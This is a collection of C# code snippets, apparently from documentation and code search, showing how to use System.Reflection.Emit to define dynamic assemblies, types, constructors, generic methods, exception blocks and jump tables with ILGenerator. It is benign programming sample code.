static Assembly DefineDynamicAssembly (AppDomain domain) { AssemblyName assemblyName = new AssemblyName (); assemblyName.Name = "MyDynamicAssembly"; AssemblyBuilder assemblyBuilder = domain.DefineDynamicAssembly (assemblyName, AssemblyBuilderAccess.Run); ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule ("MyDynamicModule"); TypeBuilder typeBuilder = moduleBuilder.DefineType ("MyDynamicType", TypeAttributes.Public); ConstructorBuilder constructorBuilder = typeBuilder.DefineConstructor (MethodAttributes.Public, CallingConventions.Standard, null); ILGenerator ilGenerator = constructorBuilder.GetILGenerator (); ilGenerator.EmitWriteLine ("MyDynamicType instantiated!"); ilGenerator.Emit (OpCodes.Ret); typeBuilder.CreateType (); return assemblyBuilder; }
private static Type MyCreateCallee(AppDomain domain) { AssemblyName myAssemblyName = new AssemblyName(); myAssemblyName.Name = "EmittedAssembly"; // Define a dynamic assembly in the current application domain. AssemblyBuilder myAssembly = domain.DefineDynamicAssembly(myAssemblyName,AssemblyBuilderAccess.Run); // Define a dynamic module in this assembly. ModuleBuilder myModuleBuilder = myAssembly.DefineDynamicModule("EmittedModule"); // Construct a 'TypeBuilder' given the name and attributes. TypeBuilder myTypeBuilder = myModuleBuilder.DefineType("HelloWorld", TypeAttributes.Public); // Define a constructor of the dynamic class. ConstructorBuilder myConstructor = myTypeBuilder.DefineConstructor( MethodAttributes.Public, CallingConventions.Standard, new Type[]{typeof(String)}); ILGenerator myILGenerator = myConstructor.GetILGenerator(); myILGenerator.Emit(OpCodes.Ldstr, "Constructor is invoked"); myILGenerator.Emit(OpCodes.Ldarg_1); MethodInfo myMethodInfo = typeof(Console).GetMethod("WriteLine",new Type[]{typeof(string)}); myILGenerator.Emit(OpCodes.Call, myMethodInfo); myILGenerator.Emit(OpCodes.Ret); Type myType = typeof(MyAttribute); ConstructorInfo myConstructorInfo = myType.GetConstructor(new Type[]{typeof(object)}); try { CustomAttributeBuilder methodCABuilder = new CustomAttributeBuilder (myConstructorInfo, new object [] { TypeCode.Double } ); myConstructor.SetCustomAttribute(methodCABuilder); } catch(ArgumentNullException ex) { Console.WriteLine("The following exception has occured : "+ex.Message); } catch(Exception ex) { Console.WriteLine("The following exception has occured : "+ex.Message); } return myTypeBuilder.CreateType(); }
public static void Main() { // Creating a dynamic assembly requires an AssemblyName // object, and the current application domain. // AssemblyName asmName = new AssemblyName("DemoMethodBuilder1"); AppDomain domain = AppDomain.CurrentDomain; AssemblyBuilder demoAssembly = domain.DefineDynamicAssembly( asmName, AssemblyBuilderAccess.RunAndSave ); // Define the module that contains the code. For an // assembly with one module, the module name is the // assembly name plus a file extension. ModuleBuilder demoModule = demoAssembly.DefineDynamicModule( asmName.Name, asmName.Name + ".dll" ); TypeBuilder demoType = demoModule.DefineType( "DemoType", TypeAttributes.Public | TypeAttributes.Abstract ); //<Snippet4> // Define a Shared, Public method with standard calling // conventions. Do not specify the parameter types or the // return type, because type parameters will be used for // those types, and the type parameters have not been // defined yet. MethodBuilder demoMethod = demoType.DefineMethod( "DemoMethod", MethodAttributes.Public | MethodAttributes.Static ); //</Snippet4> //<Snippet3> // Defining generic parameters for the method makes it a // generic method. By convention, type parameters are // single alphabetic characters. T and U are used here. // string[] typeParamNames = { "T", "U" }; GenericTypeParameterBuilder[] typeParameters = demoMethod.DefineGenericParameters(typeParamNames); // The second type parameter is constrained to be a // reference type. typeParameters[1].SetGenericParameterAttributes( GenericParameterAttributes.ReferenceTypeConstraint); //</Snippet3> //<Snippet7> // Use the IsGenericMethod property to find out if a // dynamic method is generic, and IsGenericMethodDefinition // to find out if it defines a generic method. Console.WriteLine("Is DemoMethod generic? {0}", demoMethod.IsGenericMethod); Console.WriteLine("Is DemoMethod a generic method definition? {0}", demoMethod.IsGenericMethodDefinition); //</Snippet7> //<Snippet5> // Set parameter types for the method. The method takes // one parameter, and its type is specified by the first // type parameter, T. Type[] parms = { typeParameters[0] }; demoMethod.SetParameters(parms); // Set the return type for the method. The return type is // specified by the second type parameter, U. demoMethod.SetReturnType(typeParameters[1]); //</Snippet5> // Generate a code body for the method. The method doesn't // do anything except return null. // ILGenerator ilgen = demoMethod.GetILGenerator(); ilgen.Emit(OpCodes.Ldnull); ilgen.Emit(OpCodes.Ret); //<Snippet6> // Complete the type. Type dt = demoType.CreateType(); // To bind types to a dynamic generic method, you must // first call the GetMethod method on the completed type. // You can then define an array of types, and bind them // to the method. MethodInfo m = dt.GetMethod("DemoMethod"); Type[] typeArgs = { typeof(string), typeof(DemoMethodBuilder) }; MethodInfo bound = m.MakeGenericMethod(typeArgs); // Display a string representing the bound method. Console.WriteLine(bound); //</Snippet6> // Save the assembly, so it can be examined with Ildasm.exe. demoAssembly.Save(asmName.Name + ".dll"); }
public static Type AddType() { // Create an assembly. AssemblyName myAssemblyName = new AssemblyName(); myAssemblyName.Name = "AdderExceptionAsm"; // Create dynamic assembly. AppDomain myAppDomain = Thread.GetDomain(); AssemblyBuilder myAssemblyBuilder = myAppDomain.DefineDynamicAssembly(myAssemblyName, AssemblyBuilderAccess.Run); // Create a dynamic module. ModuleBuilder myModuleBuilder = myAssemblyBuilder.DefineDynamicModule("AdderExceptionMod"); TypeBuilder myTypeBuilder = myModuleBuilder.DefineType("Adder"); Type[] adderParams = new Type[] { typeof(int), typeof(int) }; // Define method to add two numbers. MethodBuilder myMethodBuilder = myTypeBuilder.DefineMethod("DoAdd", MethodAttributes.Public | MethodAttributes.Static, typeof(int), adderParams); ILGenerator myAdderIL = myMethodBuilder.GetILGenerator(); // Create constructor. ConstructorInfo myConstructorInfo = typeof(OverflowException).GetConstructor( new Type[] { typeof(string) }); MethodInfo myExToStrMI = typeof(OverflowException).GetMethod("ToString"); MethodInfo myWriteLineMI = typeof(Console).GetMethod("WriteLine", new Type[] { typeof(string), typeof(object) }); // Declare local variable. LocalBuilder myLocalBuilder1 = myAdderIL.DeclareLocal(typeof(int)); LocalBuilder myLocalBuilder2 = myAdderIL.DeclareLocal(typeof(OverflowException)); // Define label. Label myFailedLabel = myAdderIL.DefineLabel(); Label myEndOfMethodLabel = myAdderIL.DefineLabel(); // Begin exception block. Label myLabel = myAdderIL.BeginExceptionBlock(); myAdderIL.Emit(OpCodes.Ldarg_0); myAdderIL.Emit(OpCodes.Ldc_I4_S, 10); myAdderIL.Emit(OpCodes.Bgt_S, myFailedLabel); myAdderIL.Emit(OpCodes.Ldarg_1); myAdderIL.Emit(OpCodes.Ldc_I4_S, 10); myAdderIL.Emit(OpCodes.Bgt_S, myFailedLabel); myAdderIL.Emit(OpCodes.Ldarg_0); myAdderIL.Emit(OpCodes.Ldarg_1); myAdderIL.Emit(OpCodes.Add_Ovf_Un); myAdderIL.Emit(OpCodes.Stloc_S, myLocalBuilder1); myAdderIL.Emit(OpCodes.Br_S, myEndOfMethodLabel); myAdderIL.MarkLabel(myFailedLabel); myAdderIL.Emit(OpCodes.Ldstr, "Cannot accept values over 10 for add."); myAdderIL.Emit(OpCodes.Newobj, myConstructorInfo); myAdderIL.Emit(OpCodes.Stloc_S, myLocalBuilder2); myAdderIL.Emit(OpCodes.Ldloc_S, myLocalBuilder2); // Throw the exception. myAdderIL.ThrowException(typeof(OverflowException)); // Call 'BeginExceptFilterBlock'. myAdderIL.BeginExceptFilterBlock(); myAdderIL.EmitWriteLine("Except filter block called."); // Call catch block. myAdderIL.BeginCatchBlock(null); // Call other catch block. myAdderIL.BeginCatchBlock(typeof(OverflowException)); myAdderIL.Emit(OpCodes.Ldstr, "{0}"); myAdderIL.Emit(OpCodes.Ldloc_S, myLocalBuilder2); myAdderIL.EmitCall(OpCodes.Callvirt, myExToStrMI, null); myAdderIL.EmitCall(OpCodes.Call, myWriteLineMI, null); myAdderIL.Emit(OpCodes.Ldc_I4_M1); myAdderIL.Emit(OpCodes.Stloc_S, myLocalBuilder1); // Call finally block. myAdderIL.BeginFinallyBlock(); myAdderIL.EmitWriteLine("Finally block called."); // End the exception block. myAdderIL.EndExceptionBlock(); myAdderIL.MarkLabel(myEndOfMethodLabel); myAdderIL.Emit(OpCodes.Ldloc_S, myLocalBuilder1); myAdderIL.Emit(OpCodes.Ret); return(myTypeBuilder.CreateType()); }
// The caller sends in an AppDomain type. public static void CreateMyAsm(AppDomain currentAppDomain) { // Establish general assembly characteristics. AssemblyName assemblyName = new AssemblyName { Name = "MyAssembly", Version = new Version("1.0.0.0") }; // Create new assembly within the current AppDomain. AssemblyBuilder assembly = currentAppDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Save); // Given that we are building a single-file // assembly, the name of the module is the same as the assembly. ModuleBuilder module = assembly.DefineDynamicModule("MyAssembly", "MyAssembly.dll"); // Define a public class named "HelloWorld". TypeBuilder helloWorldClass = module.DefineType("MyAssembly.HelloWorld", TypeAttributes.Public); // Define a private String member variable named "theMessage". FieldBuilder msgField = helloWorldClass.DefineField("theMessage", Type.GetType("System.String"), attributes: FieldAttributes.Private); // Create the custom ctor. Type[] constructorArgs = new Type[1]; constructorArgs[0] = typeof(string); ConstructorBuilder constructor = helloWorldClass.DefineConstructor(MethodAttributes.Public, CallingConventions.Standard, constructorArgs); ILGenerator constructorIL = constructor.GetILGenerator(); constructorIL.Emit(Ldarg_0); Type objectClass = typeof(object); ConstructorInfo superConstructor = objectClass.GetConstructor(new Type[0]); constructorIL.Emit(Call, superConstructor); constructorIL.Emit(Ldarg_0); constructorIL.Emit(Ldarg_1); constructorIL.Emit(Stfld, msgField); constructorIL.Emit(Ret); // Create the default ctor. helloWorldClass.DefineDefaultConstructor(MethodAttributes.Public); // Now create the GetMsg() method. MethodBuilder getMsgMethod = helloWorldClass.DefineMethod("GetMsg", MethodAttributes.Public, typeof(string), null); ILGenerator methodIL = getMsgMethod.GetILGenerator(); methodIL.Emit(Ldarg_0); methodIL.Emit(Ldfld, msgField); methodIL.Emit(Ret); // Create the SayHello method. MethodBuilder sayHiMethod = helloWorldClass.DefineMethod("SayHello", MethodAttributes.Public, null, null); methodIL = sayHiMethod.GetILGenerator(); methodIL.EmitWriteLine("Hello from the HelloWorld class!"); methodIL.Emit(Ret); // "Bake" the class HelloWorld. // (Baking is the formal term for emitting the type.) helloWorldClass.CreateType(); // (Optionally) save the assembly to file. assembly.Save("MyAssembly.dll"); }
LazyLoadManager() { _assemblyBuilder = _domain.DefineDynamicAssembly(_assemblyName, AssemblyBuilderAccess.RunAndSave); _wrapperModule = _assemblyBuilder.DefineDynamicModule("LazyLoadModule", "LazyLoadEntities.dll"); }
public void Test2() { AssemblyName myAssemblyName = new AssemblyName(); myAssemblyName.Name = "AdderExceptionAsm"; // Create dynamic assembly. AppDomain myAppDomain = Thread.GetDomain(); AssemblyBuilder myAssemblyBuilder = myAppDomain.DefineDynamicAssembly(myAssemblyName, AssemblyBuilderAccess.RunAndSave); // Create a dynamic module. ModuleBuilder myModuleBuilder = myAssemblyBuilder.DefineDynamicModule("AdderExceptionMod", true); var symbolDocumentWriter = myModuleBuilder.GetSymWriter().DefineDocument("AdderException.cil", Guid.Empty, Guid.Empty, Guid.Empty); TypeBuilder myTypeBuilder = myModuleBuilder.DefineType("Adder"); Type[] adderParams = new Type[] { typeof(int), typeof(int) }; ConstructorInfo myConstructorInfo = typeof(OverflowException).GetConstructor( new Type[] { typeof(string) }); MethodInfo myExToStrMI = typeof(OverflowException).GetMethod("ToString"); MethodInfo myWriteLineMI = typeof(Console).GetMethod("WriteLine", new Type[] { typeof(string), typeof(object) }); // Define method to add two numbers. MethodBuilder myMethodBuilder = myTypeBuilder.DefineMethod("DoAdd", MethodAttributes.Public | MethodAttributes.Static, typeof(int), adderParams); using (var il = new GroboIL(myMethodBuilder, symbolDocumentWriter)) { // Declare local variable. GroboIL.Local myLocalBuilder1 = il.DeclareLocal(typeof(int)); GroboIL.Local myLocalBuilder2 = il.DeclareLocal(typeof(OverflowException)); // Define label. GroboIL.Label myFailedLabel = il.DefineLabel("failed"); GroboIL.Label myEndOfMethodLabel = il.DefineLabel("end"); // Begin exception block. il.BeginExceptionBlock(); il.Ldarg(0); il.Ldc_I4(10); il.Bgt(myFailedLabel, false); il.Ldarg(1); il.Ldc_I4(10); il.Bgt(myFailedLabel, false); il.Ldarg(0); il.Ldarg(1); il.Add_Ovf(true); il.Stloc(myLocalBuilder1); il.Leave(myEndOfMethodLabel); il.MarkLabel(myFailedLabel); il.Ldstr("Cannot accept values over 10 for add."); il.Newobj(myConstructorInfo); il.Stloc(myLocalBuilder2); il.Ldloc(myLocalBuilder2); // Throw the exception. il.Throw(); // Call 'BeginExceptFilterBlock'. il.BeginExceptFilterBlock(); il.WriteLine("Except filter block called."); // Call catch block. il.BeginCatchBlock(null); // Call other catch block. il.BeginCatchBlock(typeof(OverflowException)); il.Ldstr("{0}"); il.Ldloc(myLocalBuilder2); il.Call(myExToStrMI); il.Call(myWriteLineMI); il.Ldc_I4(-1); il.Stloc(myLocalBuilder1); // Call finally block. il.BeginFinallyBlock(); il.WriteLine("Finally block called."); // End the exception block. il.EndExceptionBlock(); il.MarkLabel(myEndOfMethodLabel); il.Ldloc(myLocalBuilder1); il.Ret(); Console.WriteLine(il.GetILCode()); } }
public static void Main() { AppDomain myDomain = AppDomain.CurrentDomain; AssemblyName myAsmName = new AssemblyName("TypeBuilderGetFieldExample"); AssemblyBuilder myAssembly = myDomain.DefineDynamicAssembly( myAsmName, AssemblyBuilderAccess.Save); ModuleBuilder myModule = myAssembly.DefineDynamicModule( myAsmName.Name, myAsmName.Name + ".exe"); // Define the sample type. TypeBuilder myType = myModule.DefineType("Sample", TypeAttributes.Class | TypeAttributes.Public); // Add a type parameter, making the type generic. string[] typeParamNames = { "T" }; GenericTypeParameterBuilder[] typeParams = myType.DefineGenericParameters(typeParamNames); // Define a default constructor. Normally it would // not be necessary to define the default constructor, // but in this case it is needed for the call to // TypeBuilder.GetConstructor, which gets the default // constructor for the generic type constructed from // Sample<T>, in the generic method GM<U>. ConstructorBuilder ctor = myType.DefineDefaultConstructor( MethodAttributes.PrivateScope | MethodAttributes.Public | MethodAttributes.HideBySig | MethodAttributes.SpecialName | MethodAttributes.RTSpecialName); // Add a field of type T, with the name Field. FieldBuilder myField = myType.DefineField("Field", typeParams[0], FieldAttributes.Public); // Add a method and make it generic, with a type // parameter named U. Note how similar this is to // the way Sample is turned into a generic type. The // method has no signature, because the type of its // only parameter is U, which is not yet defined. MethodBuilder genMethod = myType.DefineMethod("GM", MethodAttributes.Public | MethodAttributes.Static); string[] methodParamNames = { "U" }; GenericTypeParameterBuilder[] methodParams = genMethod.DefineGenericParameters(methodParamNames); // Now add a signature for genMethod, specifying U // as the type of the parameter. There is no return value // and no custom modifiers. genMethod.SetSignature(null, null, null, new Type[] { methodParams[0] }, null, null); // Emit a method body for the generic method. ILGenerator ilg = genMethod.GetILGenerator(); // Construct the type Sample<U> using MakeGenericType. Type SampleOfU = myType.MakeGenericType(methodParams[0]); // Create a local variable to store the instance of // Sample<U>. ilg.DeclareLocal(SampleOfU); // Call the default constructor. Note that it is // necessary to have the default constructor for the // constructed generic type Sample<U>; use the // TypeBuilder.GetConstructor method to obtain this // constructor. ConstructorInfo ctorOfU = TypeBuilder.GetConstructor( SampleOfU, ctor); ilg.Emit(OpCodes.Newobj, ctorOfU); // Store the instance in the local variable; load it // again, and load the parameter of genMethod. ilg.Emit(OpCodes.Stloc_0); ilg.Emit(OpCodes.Ldloc_0); ilg.Emit(OpCodes.Ldarg_0); // In order to store the value in the field of the // instance of Sample<U>, it is necessary to have // a FieldInfo representing the field of the // constructed type. Use TypeBuilder.GetField to // obtain this FieldInfo. FieldInfo FieldOfU = TypeBuilder.GetField( SampleOfU, myField); // Store the value in the field. ilg.Emit(OpCodes.Stfld, FieldOfU); // Load the instance, load the field value, box it // (specifying the type of the type parameter, U), and // print it. ilg.Emit(OpCodes.Ldloc_0); ilg.Emit(OpCodes.Ldfld, FieldOfU); ilg.Emit(OpCodes.Box, methodParams[0]); MethodInfo writeLineObj = typeof(Console).GetMethod("WriteLine", new Type[] { typeof(object) }); ilg.EmitCall(OpCodes.Call, writeLineObj, null); ilg.Emit(OpCodes.Ret); // Emit an entry point method; this must be in a // non-generic type. TypeBuilder dummy = myModule.DefineType("Dummy", TypeAttributes.Class | TypeAttributes.NotPublic); MethodBuilder entryPoint = dummy.DefineMethod("Main", MethodAttributes.Public | MethodAttributes.Static, null, null); ilg = entryPoint.GetILGenerator(); // In order to call the static generic method GM, it is // necessary to create a constructed type from the // generic type definition for Sample. This can be any // constructed type; in this case Sample<int> is used. Type SampleOfInt = myType.MakeGenericType(typeof(int)); // Next get a MethodInfo representing the static generic // method GM on type Sample<int>. MethodInfo SampleOfIntGM = TypeBuilder.GetMethod(SampleOfInt, genMethod); // Next get a MethodInfo for GM<string>, which is the // instantiation of GM that Main calls. MethodInfo GMOfString = SampleOfIntGM.MakeGenericMethod(typeof(string)); // Finally, emit the call. Push a string onto // the stack, as the argument for the generic method. ilg.Emit(OpCodes.Ldstr, "Hello, world!"); ilg.EmitCall(OpCodes.Call, GMOfString, null); ilg.Emit(OpCodes.Ret); myType.CreateType(); dummy.CreateType(); myAssembly.SetEntryPoint(entryPoint); myAssembly.Save(myAsmName.Name + ".exe"); Console.WriteLine(myAsmName.Name + ".exe has been saved."); }
public static Type BuildMyType() { AppDomain myDomain = Thread.GetDomain(); AssemblyName myAsmName = new AssemblyName(); myAsmName.Name = "MyDynamicAssembly"; AssemblyBuilder myAsmBuilder = myDomain.DefineDynamicAssembly( myAsmName, AssemblyBuilderAccess.Run); ModuleBuilder myModBuilder = myAsmBuilder.DefineDynamicModule( "MyJumpTableDemo"); TypeBuilder myTypeBuilder = myModBuilder.DefineType("JumpTableDemo", TypeAttributes.Public); MethodBuilder myMthdBuilder = myTypeBuilder.DefineMethod("SwitchMe", MethodAttributes.Public | MethodAttributes.Static, typeof(string), new Type[] { typeof(int) }); ILGenerator myIL = myMthdBuilder.GetILGenerator(); Label defaultCase = myIL.DefineLabel(); Label endOfMethod = myIL.DefineLabel(); // We are initializing our jump table. Note that the labels // will be placed later using the MarkLabel method. Label[] jumpTable = new Label[] { myIL.DefineLabel(), myIL.DefineLabel(), myIL.DefineLabel(), myIL.DefineLabel(), myIL.DefineLabel() }; // arg0, the number we passed, is pushed onto the stack. // In this case, due to the design of the code sample, // the value pushed onto the stack happens to match the // index of the label (in IL terms, the index of the offset // in the jump table). If this is not the case, such as // when switching based on non-integer values, rules for the correspondence // between the possible case values and each index of the offsets // must be established outside of the ILGenerator.Emit calls, // much as a compiler would. myIL.Emit(OpCodes.Ldarg_0); myIL.Emit(OpCodes.Switch, jumpTable); // Branch on default case myIL.Emit(OpCodes.Br_S, defaultCase); // Case arg0 = 0 myIL.MarkLabel(jumpTable[0]); myIL.Emit(OpCodes.Ldstr, "are no bananas"); myIL.Emit(OpCodes.Br_S, endOfMethod); // Case arg0 = 1 myIL.MarkLabel(jumpTable[1]); myIL.Emit(OpCodes.Ldstr, "is one banana"); myIL.Emit(OpCodes.Br_S, endOfMethod); // Case arg0 = 2 myIL.MarkLabel(jumpTable[2]); myIL.Emit(OpCodes.Ldstr, "are two bananas"); myIL.Emit(OpCodes.Br_S, endOfMethod); // Case arg0 = 3 myIL.MarkLabel(jumpTable[3]); myIL.Emit(OpCodes.Ldstr, "are three bananas"); myIL.Emit(OpCodes.Br_S, endOfMethod); // Case arg0 = 4 myIL.MarkLabel(jumpTable[4]); myIL.Emit(OpCodes.Ldstr, "are four bananas"); myIL.Emit(OpCodes.Br_S, endOfMethod); // Default case myIL.MarkLabel(defaultCase); myIL.Emit(OpCodes.Ldstr, "are many bananas"); myIL.MarkLabel(endOfMethod); myIL.Emit(OpCodes.Ret); return(myTypeBuilder.CreateType()); }
public static Type ToType(Type type, Dictionary <string, PropertyInfo> properties) { AppDomain myDomain = Thread.GetDomain(); Assembly asm = type.Assembly; AssemblyBuilder assemblyBuilder = myDomain.DefineDynamicAssembly( asm.GetName(), AssemblyBuilderAccess.Run ); ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule(type.Module.Name); TypeBuilder typeBuilder = moduleBuilder.DefineType(type.Name, TypeAttributes.Public); foreach (string key in properties.Keys) { string propertyName = key; Type propertyType = properties[key].PropertyType; FieldBuilder fieldBuilder = typeBuilder.DefineField( "_" + propertyName, propertyType, FieldAttributes.Private ); PropertyBuilder propertyBuilder = typeBuilder.DefineProperty( propertyName, PropertyAttributes.HasDefault, propertyType, new Type[] { } ); // First, we'll define the behavior of the "get" acessor for the property as a method. MethodBuilder getMethodBuilder = typeBuilder.DefineMethod( "Get" + propertyName, MethodAttributes.Public, propertyType, new Type[] { } ); ILGenerator getMethodIL = getMethodBuilder.GetILGenerator(); getMethodIL.Emit(OpCodes.Ldarg_0); getMethodIL.Emit(OpCodes.Ldfld, fieldBuilder); getMethodIL.Emit(OpCodes.Ret); // Now, we'll define the behavior of the "set" accessor for the property. MethodBuilder setMethodBuilder = typeBuilder.DefineMethod( "Set" + propertyName, MethodAttributes.Public, null, new Type[] { propertyType } ); ILGenerator custNameSetIL = setMethodBuilder.GetILGenerator(); custNameSetIL.Emit(OpCodes.Ldarg_0); custNameSetIL.Emit(OpCodes.Ldarg_1); custNameSetIL.Emit(OpCodes.Stfld, fieldBuilder); custNameSetIL.Emit(OpCodes.Ret); // Last, we must map the two methods created above to our PropertyBuilder to // their corresponding behaviors, "get" and "set" respectively. propertyBuilder.SetGetMethod(getMethodBuilder); propertyBuilder.SetSetMethod(setMethodBuilder); } //MethodBuilder toStringMethodBuilder = typeBuilder.DefineMethod( // "ToString", // MethodAttributes.Public, // typeof(string), // new Type[] { } //); return(typeBuilder.CreateType()); }
public static Type CreateDynamicType() { Type[] ctorParams = new Type[] { typeof(int), typeof(int) }; AppDomain myDomain = Thread.GetDomain(); AssemblyName myAsmName = new AssemblyName(); myAsmName.Name = "MyDynamicAssembly"; AssemblyBuilder myAsmBuilder = myDomain.DefineDynamicAssembly( myAsmName, AssemblyBuilderAccess.Run); ModuleBuilder pointModule = myAsmBuilder.DefineDynamicModule("PointModule", "Point.dll"); TypeBuilder pointTypeBld = pointModule.DefineType("Point", TypeAttributes.Public); FieldBuilder xField = pointTypeBld.DefineField("x", typeof(int), FieldAttributes.Public); FieldBuilder yField = pointTypeBld.DefineField("y", typeof(int), FieldAttributes.Public); Type objType = Type.GetType("System.Object"); ConstructorInfo objCtor = objType.GetConstructor(new Type[0]); ConstructorBuilder pointCtor = pointTypeBld.DefineConstructor( MethodAttributes.Public, CallingConventions.Standard, ctorParams); ILGenerator ctorIL = pointCtor.GetILGenerator(); // First, you build the constructor. ctorIL.Emit(OpCodes.Ldarg_0); ctorIL.Emit(OpCodes.Call, objCtor); ctorIL.Emit(OpCodes.Ldarg_0); ctorIL.Emit(OpCodes.Ldarg_1); ctorIL.Emit(OpCodes.Stfld, xField); ctorIL.Emit(OpCodes.Ldarg_0); ctorIL.Emit(OpCodes.Ldarg_2); ctorIL.Emit(OpCodes.Stfld, yField); ctorIL.Emit(OpCodes.Ret); // Now, you'll build a method to output some information on the // inside your dynamic class. This method will have the following // definition in C#: // public void WritePoint() MethodBuilder writeStrMthd = pointTypeBld.DefineMethod( "WritePoint", MethodAttributes.Public, typeof(void), null); ILGenerator writeStrIL = writeStrMthd.GetILGenerator(); // The below ILGenerator created demonstrates a few ways to create // string output through STDIN. // ILGenerator.EmitWriteLine(string) will generate a ldstr and a // call to WriteLine for you. writeStrIL.EmitWriteLine("The value of this current instance is:"); // Here, you will do the hard work yourself. First, you need to create // the string we will be passing and obtain the correct WriteLine overload // for said string. In the below case, you are substituting in two values, // so the chosen overload is Console.WriteLine(string, object, object). String inStr = "({0}, {1})"; Type[] wlParams = new Type[] { typeof(string), typeof(object), typeof(object) }; // We need the MethodInfo to pass into EmitCall later. MethodInfo writeLineMI = typeof(Console).GetMethod( "WriteLine", wlParams); // Push the string with the substitutions onto the stack. // This is the first argument for WriteLine - the string one. writeStrIL.Emit(OpCodes.Ldstr, inStr); // Since the second argument is an object, and it corresponds to // to the substitution for the value of our integer field, you // need to box that field to an object. First, push a reference // to the current instance, and then push the value stored in // field 'x'. We need the reference to the current instance (stored // in local argument index 0) so Ldfld can load from the correct // instance (this one). writeStrIL.Emit(OpCodes.Ldarg_0); writeStrIL.Emit(OpCodes.Ldfld, xField); // Now, we execute the box opcode, which pops the value of field 'x', // returning a reference to the integer value boxed as an object. writeStrIL.Emit(OpCodes.Box, typeof(int)); // Atop the stack, you'll find our string inStr, followed by a reference // to the boxed value of 'x'. Now, you need to likewise box field 'y'. writeStrIL.Emit(OpCodes.Ldarg_0); writeStrIL.Emit(OpCodes.Ldfld, yField); writeStrIL.Emit(OpCodes.Box, typeof(int)); // Now, you have all of the arguments for your call to // Console.WriteLine(string, object, object) atop the stack: // the string InStr, a reference to the boxed value of 'x', and // a reference to the boxed value of 'y'. // Call Console.WriteLine(string, object, object) with EmitCall. writeStrIL.EmitCall(OpCodes.Call, writeLineMI, null); // Lastly, EmitWriteLine can also output the value of a field // using the overload EmitWriteLine(FieldInfo). writeStrIL.EmitWriteLine("The value of 'x' is:"); writeStrIL.EmitWriteLine(xField); writeStrIL.EmitWriteLine("The value of 'y' is:"); writeStrIL.EmitWriteLine(yField); // Since we return no value (void), the ret opcode will not // return the top stack value. writeStrIL.Emit(OpCodes.Ret); return(pointTypeBld.CreateType()); }
} //CreateCallee() // Create the caller transient dynamic assembly. private static Type CreateCaller(AppDomain appDomain, AssemblyBuilderAccess access, Type helloWorldClass) { // Create a simple name for the caller assembly. AssemblyName assemblyName = new AssemblyName(); assemblyName.Name = CALLINGASSEMBLYNAME; // Create the caller dynamic assembly. AssemblyBuilder assembly = appDomain.DefineDynamicAssembly(assemblyName, access); // Create a dynamic module named "CallerModule" in the caller assembly. ModuleBuilder module; if (access == AssemblyBuilderAccess.Run) { module = assembly.DefineDynamicModule("EmittedCallerModule"); } else { module = assembly.DefineDynamicModule("EmittedCallerModule", "EmittedCallerModule.exe"); } // Define a public class named MainClass. TypeBuilder mainClass = module.DefineType("MainClass", TypeAttributes.Public); // Create the method with name "main". MethodAttributes methodAttributes = (MethodAttributes.Static | MethodAttributes.Public); MethodBuilder mainMethod = mainClass.DefineMethod("Main", methodAttributes, null, null); // Generate IL for the method. ILGenerator mainIL = mainMethod.GetILGenerator(); // Define the greeting string constant and emit it. This gets consumed by the constructor. mainIL.Emit(OpCodes.Ldstr, "HelloWorld from dynamically created caller"); // Use the provided "HelloWorld" class // Find the constructor for the "HelloWorld" class. Type[] constructorArgs = { typeof(string) }; ConstructorInfo constructor = helloWorldClass.GetConstructor(constructorArgs); // Instantiate the "HelloWorld" class. mainIL.Emit(OpCodes.Newobj, constructor); // Find the "GetGreeting" method of the "HelloWorld" class. MethodInfo getGreetingMethod = helloWorldClass.GetMethod("GetGreeting"); // Call the "GetGreeting" method to obtain the greeting. mainIL.Emit(OpCodes.Call, getGreetingMethod); // Write the greeting to the console. MethodInfo writeLineMethod = typeof(Console).GetMethod("WriteLine", new Type[] { typeof(string) }); mainIL.Emit(OpCodes.Call, writeLineMethod); //mainIL.EmitWriteLine( mainIL.Emit(OpCodes.Ret); // Bake the class. You can now create instances of this class. return(mainClass.CreateType()); } //CreateCaller()
} //Main() // Create the callee transient dynamic assembly. private static Type CreateCallee(AppDomain appDomain, AssemblyBuilderAccess access) { // Create a simple name for the callee assembly. AssemblyName assemblyName = new AssemblyName(); assemblyName.Name = EMITTEDASSEMBLYNAME; // Create the callee dynamic assembly. AssemblyBuilder assembly = appDomain.DefineDynamicAssembly(assemblyName, access); // Create a dynamic module named "CalleeModule" in the callee assembly. ModuleBuilder module; if (access == AssemblyBuilderAccess.Run) { module = assembly.DefineDynamicModule("EmittedModule"); } else { module = assembly.DefineDynamicModule("EmittedModule", "EmittedModule.mod"); } // Define a public class named "HelloWorld" in the assembly. TypeBuilder helloWorldClass = module.DefineType("HelloWorld", TypeAttributes.Public); // Define a private string field named "Greeting" in the type. FieldBuilder greetingField = helloWorldClass.DefineField("Greeting", typeof(string), FieldAttributes.Private); // Create the constructor. It requires a string which it stores in greetingField. Type[] constructorArgs = { typeof(string) }; ConstructorBuilder constructor = helloWorldClass.DefineConstructor( MethodAttributes.Public, CallingConventions.Standard, constructorArgs); // Generate IL for the method. The constructor calls its superclass // constructor. The constructor stores its argument in the private field. ILGenerator constructorIL = constructor.GetILGenerator(); constructorIL.Emit(OpCodes.Ldarg_0); ConstructorInfo superConstructor = typeof(Object).GetConstructor(new Type[0]); constructorIL.Emit(OpCodes.Call, superConstructor); constructorIL.Emit(OpCodes.Ldarg_0); constructorIL.Emit(OpCodes.Ldarg_1); // Store string argument in field. constructorIL.Emit(OpCodes.Stfld, greetingField); constructorIL.Emit(OpCodes.Ret); // Create the GetGreeting method. MethodBuilder getGreetingMethod = helloWorldClass.DefineMethod("GetGreeting", MethodAttributes.Public, typeof(string), null); // Generate IL for GetGreeting. ILGenerator methodIL = getGreetingMethod.GetILGenerator(); methodIL.Emit(OpCodes.Ldarg_0); methodIL.Emit(OpCodes.Ldfld, greetingField); methodIL.Emit(OpCodes.Ret); // Bake the class HelloWorld. return(helloWorldClass.CreateType()); } //CreateCallee()
